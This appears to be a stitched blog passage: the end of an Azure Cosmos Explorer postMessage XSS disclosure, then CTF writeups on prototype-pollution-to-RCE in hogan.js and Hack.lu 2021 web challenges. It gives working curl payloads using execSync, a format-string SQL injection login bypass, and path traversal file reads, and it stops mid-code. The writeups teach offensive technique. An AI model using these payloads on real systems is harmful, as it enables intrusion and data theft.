This suggested fix was accepted and used by Microsoft in PR #1239, which was committed into the codebase on 26th March 2022.

Timeline

  • March 19, 2021 – Reported to Microsoft Security Response Center (MSRC)
  • March 26, 2021 – Microsoft – Fix is committed into the Azure/cosmos-explorer repository
  • March 31, 2021 – Microsoft – Fix is deployed on cosmos.azure.com

Conclusion

In this particular incident, a remote attacker can takeover a victim user’s Azure session and conduct post-exploitation to reach and compromise their cloud assets. All of this is possible because of a single, unescaped dot!

In general, when using window.postMessage(), care must be taken to ensure that origin checks are present and performed correctly. As demonstrated above, improper origin verification of the message sender’s origin may allow for cross-site scripting attacks in some scenarios, such as using HTML responses from a trusted external origin and appending them to the current webpage’s DOM tree.

Last month, @SecurityMB created a server-side prototype pollution CTF challenge. It’s been a while since I crafted server-side prototype pollution gadgets from scratch, so I took this chance to practice! :smile:

In this writeup, I will do a rundown on the challenge by discussing how I approached the challenge and how I arrived at both the intended and unintended solutions.

Problem

Target: https://air-pollution.challenge.ctf.expert
https://twitter.com/SecurityMB/status/1453427046919639045

Rules:

  • The goal is to execute /flag via prototype pollution
  • You can download the source code
  • The environment is recreated after every request. So make sure your payload works in a single request.
  • Outgoing network connections are blocked on the server. So make sure you can read the flag right in the response.
  • Flag format is SECURITUM_[a-zA-Z0-9]+

Refresher on Prototype Pollution

Before we begin, here’s a quick refresher on how prototype pollution works:

> var control = {}, obj = {}         // instantiate empty Objects
> obj.__proto__ === Object.prototype // obj inherited Object.prototype (this is how prototype chain works)
true

> obj.__proto__.test = "polluted"    // prototype pollution here
> console.log(Object.prototype.test)
polluted

> console.log(control.test)          // every other Object inheriting Object.prototype has polluted attributes
polluted

Finding the Prototype Pollution

Now, let’s dive straight into the most important file in the distributables – index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
const express = require("express");
const { open } = require("sqlite");
const sqlite = require("sqlite3");
const hogan = require("hogan.js");

const app = express();
app.use((req, res, next) => {
  res.setHeader("connection", "close");
  next();
});
app.use(express.urlencoded({ extended: true }));

const loadDb = () => {
  return open({
    driver: sqlite.Database,
    filename: "./data.sqlite",
  });
};

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

  return obj1;
};

const TEMPLATE = `
<table border="1">
  <thead>
    <tr>
      <th>City</th>
      <th>Pollution index</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
  {{#data}}
    <tr>
      <td>{{city}}</td>
      <td>{{pollution}}</td>
      <td>{{year}}</td>
    </tr>
  {{/data}}
  {{^data}}
    Nothing found
  {{/data}}
  </tbody>
</table>
`;

app.post("/get-data", async (req, res) => {
  const db = await loadDb();
  const reqFilter = req.body;
  const filter = {};
  merge(filter, defaults);
  merge(filter, reqFilter);

  const template = hogan.compile(TEMPLATE);

  const conditions = [];
  const params = [];
  if (filter.city && filter.city !== "*") {
    conditions.push(`city LIKE '%' || ? || '%'`);
    params.push(filter.city);
  }

  if (filter.year) {
    conditions.push("(year = ?)");
    params.push(filter.year);
  }

  const query = `SELECT * FROM data ${
    conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
  }`;
  const data = await db.all(query, params);
  try {
    return res.send(template.render({ data }));
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;
  try {
    res.json({ error: Function(f)() });
  } catch (ex) {
    res.json({ error: ex + "" });
  }
});

app.use(express.static("./public"));

app.listen(1339, () => {
  console.log(`Listening on http://localhost:1339`);
});

Okay, that’s a lot of code to understand. Let’s break down the code further and examine them sections by sections.

Since the challenge is about server-side prototype pollution, let’s first examine how user input is being used in the merge() function:

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue; // [3]
    const val = obj2[key];
    key = key.trim();                        // [4]
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);     // [5]
    } else {
      obj1[key] = val;                       // [6]
    }
  }

  return obj1;
};


app.post("/get-data", async (req, res) => {
  ...
  const reqFilter = req.body; // [1]
  const filter = {};
  merge(filter, defaults);
  merge(filter, reqFilter);   // [2]
  ...
}

At [1], reqFilter points to an object representing all properties and values in the parsed request body (user-controlled input).
At [2], merge(filter, reqFilter) is executed.
At [3], the keys of the object created in [1] are checked against a denylist – this is the time-of-check.
At [4], the key is being trimmed, potentially modifying the key after the denylist check is performed!
At [5] and [6], the key is being used – this is the time-of-use.

As highlighted above, there is a time-of-check to time-of-use vulnerability since the key is being modified after the denylist check is performed.

This means if req.body points to the following object:

{
  "__proto__ ": {
    "polluted": "test"
  }
}

In merge(), the denylist check is satisfied since __proto__ (which a trailing whitespace) does not match any of the elements in the UNSAFE_KEYS array.

After merge(filter, reqFilter) has been executed, we will be able to set filter.__proto__.polluted (i.e. Object.prototype.polluted) to "test".

Escalating Prototype Pollution to RCE

Great, we found the server-side prototype pollution. But how can we get RCE and execute /flag?
Let’s continue analysing the provided source code to gain some ideas:

const TEMPLATE = `
...
`;

app.post("/get-data", async (req, res) => {
  ...
  merge(filter, reqFilter);                     // prototype pollution here

  const template = hogan.compile(TEMPLATE);     // [1]

  const conditions = [];
  const params = [];
  if (filter.city && filter.city !== "*") {
    conditions.push(`city LIKE '%' || ? || '%'`);
    params.push(filter.city);
  }

  if (filter.year) {
    conditions.push("(year = ?)");
    params.push(filter.year);
  }

  const query = `SELECT * FROM data ${
    conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
  }`;
  const data = await db.all(query, params);     // [2]
  try {
    return res.send(template.render({ data })); // [3]
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;               // [4]
  try {
    res.json({ error: Function(f)() });         // [5]
  } catch (ex) {
    res.json({ error: ex + "" });
  }
});

At [1], we see that we are now compiling a template.

Template engines are prime targets to look for prototype pollution RCE gadgets, since they often parse templates into an intermediate Abstract Syntax Tree (AST) before compiling the AST into code and executing the dynamically generated code. With prototype pollution, we may be able to trick the template parser into using the polluted values and injecting into the AST. This allows us to potentially inject into the compiled (generated) code that is subsequently executed/evaluated, resulting in RCE!

Let’s keep this in mind and move on. At [2], we see that db.all() is called. Unfortunately, it’s pretty unlikely that we can do anything with it since query uses prepared statements, and can’t be tampered with to include user-controlled inputs. Honestly, I didn’t spend much time looking into chaining prototype pollution to exploit sqlite3 much, because there is something much more interesting than that in the subsequent lines of code.

At [3], we can see that res.send(template.render({ data })) is called within the try block. If that fails, we end up reaching [4] – which generates a string using template and stores in variable f. At [5], Function(f)(), the contents of f is evaluated as JavaScript code!

By intuition, we know that the goal of the challenge is to end up at [5] and inject user-controlled input into template somehow, such that when Function(f)() is executed, we get RCE.

So, how do we cause an error in [3] such that we end in at [4]? Referencing the documentation for hogan.js (a compiler for Mustache templating language), we see an interesting compilation option:

asString: return the compiled template as a string. This feature is used by hulk to produce strings containing pre-compiled templates.

If we set the asString option using prototype pollution, hogan.compile(TEMPLATE) at [1] will now return a String. At [3], the template does not have the render() function since it’s a String object and not a Hogan.Template object – this allows us to an error and successfully land at [4]!

It’s good that we are making progress, but we haven’t figured out how to inject into the template returned at [1].

Let’s verify what we have found so far by sending the following request to our test server:

$ curl -X POST http://localhost:1339/get-data -d '__proto__ [asString]=1'
curl: (52) Empty reply from server

Something went wrong. Let’s look at the stack trace:

$ node /app/index.js
Listening on http://localhost:1339
/app/node_modules/hogan.js/lib/compiler.js:309
    return s.replace(rSlash, '\\\\')
             ^

TypeError: Cannot read property 'replace' of undefined
    at esc (/app/node_modules/hogan.js/lib/compiler.js:309:14)
    at stringifyPartials (/app/node_modules/hogan.js/lib/compiler.js:263:52)
    at Object.Hogan.stringify (/app/node_modules/hogan.js/lib/compiler.js:269:82)
    at Object.Hogan.generate (/app/node_modules/hogan.js/lib/compiler.js:279:19)
    at Object.Hogan.compile (/app/node_modules/hogan.js/lib/compiler.js:420:21)
    at /app/index.js:72:26

It seems that hogan.js is attempting to use a variable but it is undefined – this is likely a side-effect of us polluting Object.prototype to set options.asString.
From the stack trace, we should be examining stringifyPartials() and esc().
But first, let’s start with Hogan.compile() to understand more about the library. :)

Finding the Intended Solution

Let’s first take a look at Hogan.compile() defined in lib/compiler.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Hogan.cache = {};

Hogan.cacheKey = function(text, options) {
  return [text, !!options.asString, !!options.disableLambda, options.delimiters, !!options.modelGet].join('||');
}

Hogan.compile = function(text, options) {
  options = options || {};           // [1]
  var key = Hogan.cacheKey(text, options);
  var template = this.cache[key];    // [2]

  if (template) {
    var partials = template.partials;
    for (var name in partials) {
      delete partials[name].instance;
    }
    return template;                 // [3]
  }

  template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options); // [4]
  return this.cache[key] = template; // [5]
}

At [1], options instantiates a new Object, which inherits the polluted prototype chain.
At [2], it attempts to look up the template within Hogan.cache. Since Hogan.cache is an Object that inherits Object.prototype, we can pollute the prototype chain with arbitrary key/values that are accessible via Hogan.cache[key]. At [3], we can return the attacker-controlled string inserted using prototype pollution.

This sounds great, but unfortunately won’t work due to the leading newline in TEMPLATE passed as the first argument to Hogan.compile():

const TEMPLATE = `
<table border="1">
...
`;

Recall that since key is trimmed during the merge(), we can only pollute Object.prototype with keys that do not start or end with whitespaces. However, the Hogan.cacheKey contains a leading whitespace. As such, we are unable to reference our polluted value using the generated cache key.

Moving on to [4], the template is generated and returned at [5].

We will skip the other functions and continue analysing the code of Hogan.generate() for now, since that is where the stack trace leads us to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
  serialNo = 0;
  var context = { code: '', subs: {}, partials: {} }; // [1]
  Hogan.walk(tree, context);                          // [2]

  if (options.asString) {
    return this.stringify(context, text, options);    // [3]
  }

  return this.makeTemplate(context, text, options);
}

Hogan.walk = function(nodelist, context) {
  var func;
  for (var i = 0, l = nodelist.length; i < l; i++) {
    func = Hogan.codegen[nodelist[i].tag];             // [4]
    func && func(nodelist[i], context);
  }
  return context;
}

Hogan.stringify = function(codeObj, text, options) {
  return "{code: function (c,p,i) { " + Hogan.wrapMain(codeObj.code) + " }," + stringifyPartials(codeObj) +  "}";
}

Hogan.wrapMain = function(code) {
  return 'var t=this;t.b(i=i||"");' + code + 'return t.fl();';
}

At [1], context.code is initialized – an object’s properties takes priority over any inheritied properties from its prototype chain.
At [2], the AST is traversed and the context.code is created. Unfortunately for us, we are unable to us to override any of the referenced properties used within Hogan.codegen with prototype pollution, so we cannot inject into the AST during the traversal process.

Continuing on, we want to end up at [3] so that we return a String from Hogan.generate(). Observe that Hogan.stringify() calls Hogan.wrapMain(codeObj.code) and stringifyPartials(codeObj) under the hood. Since we are unable to inject into context.code, we cannot inject into Hogan.wrapMain(). Let’s move on to take a closer look at stringifyPartials():

1
2
3
4
5
6
7
function stringifyPartials(codeObj) {
  var partials = [];
  for (var key in codeObj.partials) { // [5]
    partials.push('"' + esc(key) + '":{name:"' + esc(codeObj.partials[key].name) + '", ' + stringifyPartials(codeObj.partials[key]) + "}"); // [6]
  }
  return "partials: {" + partials.join(",") + "}, subs: " + stringifySubstitutions(codeObj.subs);
}

Observe that at [5], a for ... in loop is used. This iterates over all enumerable properties of the object and those inherited from its property chain!

From this code, it is easy to identify why we encountered an error earlier.

  • We performed prototype pollution to set the property: Object.prototype.asString = '1'.
  • When looping over codeObj.partials, it finds a key: codeObj.partials.asString, which is a String.
  • At [6], codeObj.partials[key].name points to an undefined property of the string – Object.prototype.name is not defined yet!
  • We get an error in esc() for trying to call String.prototype.replace() on an undefined object.

So, to resolve the error, we also need to set the name property.

Lastly, stringifySubstitutions() is called. Again, we observe a similar for ... in loop, but this time we also see that obj[key] is used without escaping at [7]:

1
2
3
4
5
6
7
function stringifySubstitutions(obj) {
  var items = [];
  for (var key in obj) {
    items.push('"' + esc(key) + '": function(c,p,t,i) {' + obj[key] + '}'); // [7]
  }
  return "{ " + items.join(",") + " }";
}

This allows us to inject into the generated template!

Intended Solutions

Below are some variations of the intended solutions leveraging prototype pollution to inject into the generated template in the stringifySubstitutions() function:

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [name]=' \
  -d '__proto__ [asString]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"name":{"name":"","partials":{},"subs":{}},"asString":{"name":"","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [name]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//' \
  -d '__proto__ [asString]=1'
{"error":{"partials":{"name":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}},"asString":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [asString]=1' \
  -d '__proto__ [name]=2' \
  -d '__proto__ [inject]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"asString":{"name":"2","partials":{},"subs":{}},"name":{"name":"2","partials":{},"subs":{}},"inject":{"name":"2","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}

Finally, we got the flag:
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular

Unintended Solution

Naturally, while solving this challenge, I wondered if it was possible to trigger RCE directly with prototype pollution when template.render() was invoked. :thinking:

I was chatting with @CurseRed, and both of us felt that it is very likely that we can achieve RCE when template.render() is called, especially since we can inject into the stringified template. So, we decided to challenge ourselves to try to find for a pure prototype pollution to RCE gadget.

After reading through the code a bit more, it was clear that we definitely needed to look for an injection point that does not escape our input. Also, we are unable to control the values of any properties in Hogan.codegen, which is used to traverse the AST and build the generated code in Hogan.walk().

Eventually, I discovered the following code in the library:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
  ...
  return this.makeTemplate(context, text, options);
}

Hogan.makeTemplate = function(codeObj, text, options) {
  var template = this.makePartials(codeObj);
  ...
}

Hogan.makePartials = function(codeObj) {
  var key, template = {subs: {}, partials: codeObj.partials, name: codeObj.name};
  for (key in template.partials) {
    template.partials[key] = this.makePartials(template.partials[key]);
  }
  for (key in codeObj.subs) {
    template.subs[key] = new Function('c', 'p', 't', 'i', codeObj.subs[key]); // [1]
  }
  return template;
}

function createPartial(node, context) {
  var prefix = "<" + (context.prefix || "");
  var sym = prefix + node.n + serialNo++;
  context.partials[sym] = {name: node.n, partials: {}};
  context.code += 't.b(t.rp("' +  esc(sym) + '",c,p,"' + (node.indent || '') + '"));'; // [2]
  return sym;
}

Looking at [1], although we can inject directly into the Function’s body, we are unable to use template.subs at all. This is because Hogan.codegen looks for specific characters within the Mustache template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Hogan.codegen = {
  '#': function(node, context) { // this is a section e.g. {{#section}}...{{/section}}
    ...
  },

  '^': function(node, context) { // this is an inverted section e.g. {{^inverted}}...{{/inverted}}
    ...
  },

  '>': createPartial,
  '<': function(node, context) { // this is a partial e.g. {{>partial}}...{{/partial}}
    ...
  },

  '$': function(node, context) { // this is a substitution e.g. {{$sub}}...{{/sub}}
    ...
  },
  ...
}

Unfortunately, the character $ does not appear in the TEMPLATE constant, so even though we can create functions and control the Function’s body, these dynamically-created functions are never called.

Interestingly, [2] presents a new opportunity – partials allow us to inject code directly into the generated code through polluting Object.prototype.indent!
Referring to the Hogan.codegen though, we can’t find {{> (i.e. starting marker for partials) in the TEMPLATE constant.

It seems like we reached a dead end, but all hope is not lost yet!

hogan.js also allows us to specify custom delimiters via options.delimiters, which we can set by polluting Object.prototype.delimiters.

Let’s further examine how the delimiters are used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Hogan.compile = function(text, options) {
  options = options || {};
  ...
  template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
  return this.cache[key] = template;
}

Hogan.scan = function scan(text, delimiters) { // this parses the template into AST
  ...
  if (delimiters) {
    delimiters = delimiters.split(' ');
    otag = delimiters[0];
    ctag = delimiters[1];
  }
  ...
}

Notice that options.delimiters is passed to Hogan.scan(), which derives the opening tag marker (otag) and the closing tag marker (ctag) from options.delimiter.

This means that so long as the template contains >, we can trick hogan.js into parsing the code surrounding the > character as partials! And since we are generating a HTML template, finding > is trivial :)

The last hurdle to overcome is that the payload we place within Object.prototype.indent needs to be valid JavaScript when placed within the Function body in Hogan.makePartials(), but it also needs to be valid JavaScript when injected into the code generated in createPartial().

Tip: You can log the generated function (i.e. Hogan.Template.r) in node_modules/hogan.js/lib/template.js if you are struggling to figure out what is wrong with your payload.

Unintended Solution:

$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
  -d '__proto__ [delimiters]=tr %0a' \
  -d '__proto__ [indent]=/*"));return process.mainModule.require(`child_process`).execSync(`/flag`).toString()//*/'
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag

Last weekend, I teamed up with @jorge_ctf to play in Hack.lu CTF 2021, and somehow we managed to solve 4 out of the 5 web challenges! Considering that it was an ad hoc collaboration and we were mostly playing for fun, I’d say we did pretty well. :sweat_smile:

Overall, I think the web challenges presented at Hack.lu CTF 2021 were quite insightful, so I decided to do a writeup on the challenges we solved.
Enjoy!

Diamond Safe

Sold (Solves): 61 times
Risk (Difficulty): Mid
Seller (Creator): kunte_

Save your passwords and files securely in the Diamond Safe by STOINKS AG.
https://diamond-safe.flu.xxx/

Part 1 - Authentication Bypass Via SQL Injection

The goal of the challenge is to read the flag at /flag.txt.

But first, we need to be logged in to access other application functionalities.

The relevant code from public/src/login.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if (isset($_POST['password'])){
    $query = db::prepare("SELECT * FROM `users` where password=sha1(%s)", $_POST['password']); // [1]

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']); // [2]
    }
    else{
        $query = $query . " and name='default'";
    }
    $query = $query . " limit 1";

    $result = db::commit($query);

    if ($result->num_rows > 0){
        $_SESSION['is_auth'] = True;
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        $_SESSION['ip'] = get_ip();
        $_SESSION['user'] = $result->fetch_row()[1];

        success('Welcome to your vault!');
        redirect('vault.php', 2);
    }
    else{
        error('Wrong login or password.');
    }
}
...

Notice that the login functionality calls db::prepare(), which seems to use some form of format string (%s) in lines [1] and [2]. We might be able to bypass string sanitisation by embedding a format string into $_POST["password"].

Tracing the code further, we can see the prepare() function declared in public/src/DB.class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function prepare($query, $args){
    if (is_null($query)){
        return;
    }
    if (strpos($query, '%') === false){
        error('%s not included in query!');
        return;
    }

    // get args
    $args = func_get_args();
    array_shift( $args );

    $args_is_array = false;
    if (is_array($args[0]) && count($args) == 1 ) { // [3]
        $args = $args[0];
        $args_is_array = true;
    }

    $count_format = substr_count($query, '%s');

    if($count_format !== count($args)){ // [4]
        error('Wrong number of arguments!');
        return;
    }
    // escape
    foreach ($args as &$value){
        $value = static::$db->real_escape_string($value); // [5]
    }

    // prepare
    $query = str_replace("%s", "'%s'", $query); // [6]
    $query = vsprintf($query, $args); // [7]
    return $query;
}

Interestingly, [3] indicates that the prepare() function accepts an array for the second parameter.
At [4], it checks if the number of format string present in $query (first parameter) matches the number of arguments passed in the second parameter.
Arguments are then escaped using real_escape_string() in [5].
Subsequently, all format strings %s are quoted ('%s') in [6] before they are being replaced by the escaped arguments in [7].

Since no type checks were done on the $_POST parameters, we could indeed embed a format string %s within $_POST["password"] in [1], and supply an array $_POST["name"] in [2] – this allows us to inject into the SQL statement.

Sending the following request allows us to log in to a valid account:

$ curl https://diamond-safe.flu.xxx/login.php \
    --cookie 'PHPSESSID=...'  \
    -d 'password=%s' -d 'name[0]=) or 1=1 -- ' -d 'name[1]=a'
...
<div class='alert alert-success'><strong>Welcome to your vault!</strong></div>
...

Part 2 - Arbitrary File Read

Let’s look at the second half of the challenge – getting the flag.

After logging in, we have access to the vault (public/src/vault.php):

1
2
3
4
5
6
7
8
9
10
11
...
<?php 
    $dir = '/var/www/files';
    $scanned_dir = array_diff(scandir($dir), array('..', '.'));

    foreach ($scanned_dir as $key => $file_name){?>
        
        <li><a href="<?= gen_secure_url($file_name)?>"><?= ms($file_name)?></a></li>

    <?php  }  ?>
...

The rendered HTML output when visiting /vault.php is:

...
<li><a href="download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt">Diamond.txt</a></li>
<li><a href="download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt">FlagNotHere.txt</a></li>
...

Let’s take a look at public/src/download.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
    redirect('login.php');
    die();
}

if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){ // [1]
    redirect('vault.php');
    die();
}

if(!isset($_GET['h']) or !is_string($_GET['h'])){ // [2]
    redirect('vault.php');
    die();
}

// check the hash
if(!check_url()){ // [3]
    redirect('vault.php');
    die();
}

$file = '/var/www/files/'. $_GET['file_name']; // [4]
if (!file_exists($file)) {
    redirect('vault.php');
    die();
}
else{
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file); // [5]
    exit;
}

[1] and [2] ensures that $_GET['filename'] and $_GET['h'] are strings. At [3], the parameters are validated. Ideally, we want to be able to reach readfile($file) in [5], since we know that we can control the file path in [4].

We somehow need to subvert the checks done in check_url().

The relevant code for check_url() function can be found in public/src/functions.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);
    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value); // [6]
    }

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;
    }

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){ // [7]
        return True;
    }
    return False;
}

The function attempts to parse each GET parameter from the $_SERVER['QUERY_STRING'], URL-decoding the parameter names and values at [6]. To be able to leak, we somehow need to make $_GET['filename'] return a path traversal payload to reach /flag.txt but also ensure that $params['filename'] returns a different value. According to a comment on the PHP documentation, it can be seen that PHP does additional normalisation steps on top of URL-decoding the parameter names:

The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.

So, we could supply a query string ?file_name=Diamond.txt&file.name=../../../flag.txt to trick PHP to set $_GET['filename'] = '../../../flag.txt', and make $params['filename'] = 'Diamond.txt' in check_url() – this allows us to pass the check at [3] by sending a valid $params['file_name'] and $params['hash'] accordingly:

$ curl -G --cookie 'PHPSESSID=...' https://diamond-safe.flu.xxx/download.php \
    -d 'file_name=Diamond.txt' -d 'file.name=../../../flag.txt' -d 'h=95f0dc5903ee9796c3503d2be76ad159'
flag{lul_php_challenge_1n_2021_lul}

trading-api

Sold (Solves): 20 times
Risk (Difficulty): High
Seller (Creator): pspaul

To make investing easy and simple for everyone, we built a trading API. But is it secure tho?
http://flu.xxx:20035

The goal of the challenge is to leak the flag stored in the flag table:

CREATE TABLE IF NOT EXISTS flag (flag TEXT PRIMARY KEY);

Part 1 - Authentication Bypass

Let’s start by analysing the routes handled by the server. This can be found in public/core/server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');
...
async function main() {
    const app = express();

    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));

    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);

    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));

    await registerApi(app);

    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main()

There appears to be authentication and authorization checks performed before we can reach any of the interesting application functionalities. Let’s start by looking into login() to find a way to log in successfully.

The relevant code from public/core/authn.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, { // [1]
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) { // [2]
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET); // [3]
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET); // [4]
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

On [1], it can be seen that the server attempts to reach a backend auth service to authenticate the user credentials. However, notice that we could inject into the request path, since encodeURI() does not escape . or /. This allows us to send a username with a path traversal payload (e.g. ../../anything?)! The user is considered logged in if the status code of the request is 200 (OK).

Examining public/auth/server.js, we see the following route handled by the auth server:

1
2
3
...
app.all('/health', (req, res) => res.send('ok'));
...

Hitting this /health endpoint with a path traversal payload in the username allows us to trick the server into thinking that we are a valid user. The server then kindly signs and issues us a valid JWT token on [3]. When authentication checks are performed in authn(), the JSON token can be successfully verified at [4].

This allows us to bypass the authentication checks.

Part 2 - Authorisation Bypass

Now that we have achieved authentication bypass, let’s move on to subvert the authorisation checks.

Recall that the authorization checks performed in public/core/server.js is:

1
2
3
4
5
6
7
8
app.use(authz({
    userPermissions: new Map(Object.entries({
        warrenbuffett69: [Permissions.VERIFIED], // [1]
    })),
    routePermissions: [
        [/^\/+api\/+priv\//i, Permissions.VERIFIED], // [2]
    ],
}));

The relevant source code from public/core/authz.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) { // [3]
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

Notice that the user warrenbuffett69 (on [1]) is allowed to access the route /api/priv/* (on [2]). If we set our username to a path traversal payload, we are definitely unable to satisfy the hasPermission() check at [3].

What we can do to bypass this authorisation check is to fail regex.test(req.url) condition – skipping the entire if block! The authorisation check performed above uses req.url, which is the raw request URL. But, in Express, routes are matched using req.path. Since req.path is extracted after parsing req.url, we can abuse path normalisation to subvert the check while making the request match a route handler successfully.

In other words, req.path will be set to /api/priv/assets/assetName/buy for this request:

GET /api\priv/assets/assetName/buy HTTP/1.1

As well as this request:

GET http://junk/api/priv/assets/assetName/buy HTTP/1.1

Part 3 - SQL Injection

Now that we have access to the main functionalities of the application, we can start to figure out how to leak the flag.

The relevant code from public/core/api.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const { randomInt } = require('crypto');
const { connect, prepare } = require('./db');
const transactions = {};

function generateId() {
    return randomInt(2**48 - 1);
}
